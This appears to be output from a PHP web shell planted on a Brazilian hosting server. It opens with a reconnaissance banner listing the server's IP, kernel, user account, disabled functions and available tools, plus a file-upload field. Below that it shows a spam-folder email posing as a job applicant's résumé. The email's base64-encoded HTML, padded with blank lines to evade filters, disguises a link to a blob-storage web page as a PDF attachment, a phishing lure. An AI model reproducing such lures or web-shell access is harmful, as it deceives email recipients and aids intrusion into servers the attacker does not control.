| Server IP : 162.214.74.102 / Your IP : 216.73.216.252 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/lrsys/././mail/.spam/new/ |
Upload File : |
Return-Path: <tncjj@ispa31.cscorretorasaude.com>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
by dedi-4363141.lrsys.com.br with LMTP
id gHgwJ/5/BmeOEQAAIWsJAg
(envelope-from <tncjj@ispa31.cscorretorasaude.com>)
for <lrsys+spam@dedi-4363141.lrsys.com.br>; Wed, 09 Oct 2024 10:07:10 -0300
Return-path: <tncjj@ispa31.cscorretorasaude.com>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Wed, 09 Oct 2024 10:07:10 -0300
Received: from ispa31.cscorretorasaude.com ([51.83.255.166]:36066)
by dedi-4363141.lrsys.com.br with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96.2)
(envelope-from <tncjj@ispa31.cscorretorasaude.com>)
id 1syWPA-0001CS-2E
for financeiro@lrsys.com.br;
Wed, 09 Oct 2024 10:07:10 -0300
Received: from localhost (localhost [127.0.0.1])
by ispa31.cscorretorasaude.com (Postfix) with UTF8SMTP id 13A9B40A84
for <financeiro@lrsys.com.br>; Wed, 9 Oct 2024 13:06:19 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
s=ispa31; d=ispa31.cscorretorasaude.com; t=1728479179;
h=from:subject:date:message-id:to:mime-version:content-type:
user-agent:x-mailer:content-language;
bh=0q0DB7Y6NmXYJZTJpCJkOwq1COtH+0KlhmTw8VkqJbc=;
b=XnZa4mdVjWGwjOh7ERPCrPuI76qgpEdjwmL6zVf3qSHGHZSokMnxYxzjV+ve1km+Zbj989
iBwMMOihgF6ARO4OPiBf7UQrCz+cAqV57LwUUgCUouGSR2BE1LmNhOOCAl8p1bil6JSWeM
/dXbsl1OZ8ycJrS+VDTKU8JfYgzFLn55Jxz3cMuJwMi6kxyqrRxkXzF6ShUXBrcTwcf/gz
3KjyafYFoJCwpGu5MoyhyVvNDPy2NDMqen1f/QnZqxNJugD/7bOHeKmqgY3BN0yeUfxCGu
yivydjVvpKK8Si1WwTKjOJCItm5g9XW0pw0nZzi5Bo5jfKgG7BNh9odi94MgzA==
From: "Carla Bandeira" <tncjj@ispa31.cscorretorasaude.com>
To: <financeiro@lrsys.com.br>
Message-Id: <935792657b9253635b97745d1e8281dd@ispa31.cscorretorasaude.com>
Content-Type: multipart/alternative;
boundary=1ea5d9459ca4ab39e55c6a02c243714189468061ae38bc068ffb45783aac
Date: Wed, 09 Oct 2024 13:06:19 +0000
MIME-Version: 1.0
X-Mailer: MailMate
User-Agent: MailMate
X-Spam-Status: Yes, score=12.9
X-Spam-Score: 129
X-Spam-Bar: ++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: 25027962332 Segue,CurrĂculo CarlaBandeira.pdf
Content analysis details: (12.9 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: cscorretorasaude.com]
1.0 BAYES_999 BODY: Bayes spam probability is 99.9 to 100%
[score: 1.0000]
5.0 BAYES_99 BODY: Bayes spam probability is 99 to 100%
[score: 1.0000]
0.0 HK_RANDOM_ENVFROM Envelope sender username looks random
0.7 HK_RANDOM_FROM From username looks random
4.5 URIBL_DBL_SPAM Contains a spam URL listed in the Spamhaus DBL
blocklist
[URIs: cscorretorasaude.com]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[51.83.255.166 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[51.83.255.166 listed in bl.score.senderscore.com]
0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS
blocklist
[URIs: ispa31.cscorretorasaude.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
0.1 URI_HEX URI: URI hostname has long hexadecimal sequence
0.0 HTML_MESSAGE BODY: HTML included in message
0.8 MPART_ALT_DIFF BODY: HTML and text parts are different
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of
empty lines
X-Spam-Flag: YES
Subject: ***SPAM*** =?UTF-8?B?TWV1IEN1cnJpY3Vsbw==?=
--1ea5d9459ca4ab39e55c6a02c243714189468061ae38bc068ffb45783aac
Content-Transfer-Encoding: base64
Content-Type: text/html; charset=UTF-8
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjwh
RE9DVFlQRSBodG1sPgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8
aHRtbCBsYW5nPSJwdC1CUiI+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCjxoZWFkPgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgIDxtZXRhIG5hbWU9
InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4w
Ij4KCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCiAg
ICA8dGl0bGU+MjUwMjc5NjIzMzI8L3RpdGxlPgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8cD7CoDwvcD4K
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCjxwPlNlZ3VlLEN1cnLDrWN1bG88L3A+IAogCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8cD48YSBocmVm
PSJodHRwczovLzA3MTAyMDI0LmJsb2IuY29yZS53aW5kb3dzLm5ldC9ob21lL2luZGV4Lmh0bWw/
aWQ9NzgxNyIgcmVsPSJub3JlZmVycmVyIiB0YXJnZXQ9Il9ibGFuayI+Q2FybGFCYW5kZWlyYS5w
ZGY8L2E+PC9wPiAKIAoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8cD5BdHQsQ2Fy
bGEgQmFuZGVpcmE8L3A+IAogCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgo8cD48L3A+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgo8L2h0bWw+Cgo=
--1ea5d9459ca4ab39e55c6a02c243714189468061ae38bc068ffb45783aac
Content-Transfer-Encoding: base64
Content-Type: text/plain; charset=UTF-8
aHR0cHM6Ly8wNzEwMjAyNC5ibG9iLmNvcmUud2luZG93cy5uZXQvaG9tZS9pbmRleC5odG1sP2lk
PTc4MTc=
--1ea5d9459ca4ab39e55c6a02c243714189468061ae38bc068ffb45783aac--